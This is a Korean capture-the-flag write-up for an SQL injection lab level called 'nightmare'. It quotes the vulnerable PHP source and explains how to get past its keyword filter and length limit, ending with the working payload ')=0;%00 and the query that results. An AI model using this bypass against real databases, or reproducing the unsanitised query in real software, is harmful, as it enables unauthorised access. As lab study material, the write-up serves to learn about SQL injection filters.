<?php
include "../config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>
소스코드 분석
주석이 막혀 있다.. 이거를 푸는 내내 sql의 혁명을 느끼게 되었다.
풀이
엄청나다.. sql의 혁명이였다..
우선 주석 형태가 모두 막혀 있기 떄문에
세미콜론 뒤에 NULL을 넣어주면 이게 주석역할을 해준다.
즉 ;%00을 해주면 뒤에는 주석으로 처리된다.
또한 여기서 중요한 개념은 true= false=false 이것이다.
이게 의미하는 바가 무엇이냐 false=false 이것은 true가 된다. 즉 true=true이다.
이제 pw의 구문을 거짓=거짓으로 만들어주면 참이 되게 된다.
즉 페이로드를
pw=')=false;%00 으로 보내 주어야 하지만 길이가 한정되어 있끼 떄문에 false를 0으로 바꾼다.
거짓=거짓이 되어 참이 되고 뒤에 부분은 주석처리 되면서 클리어 가능하다.
select id from prob_nightmare where pw=('')=0;%00') and id !='admin'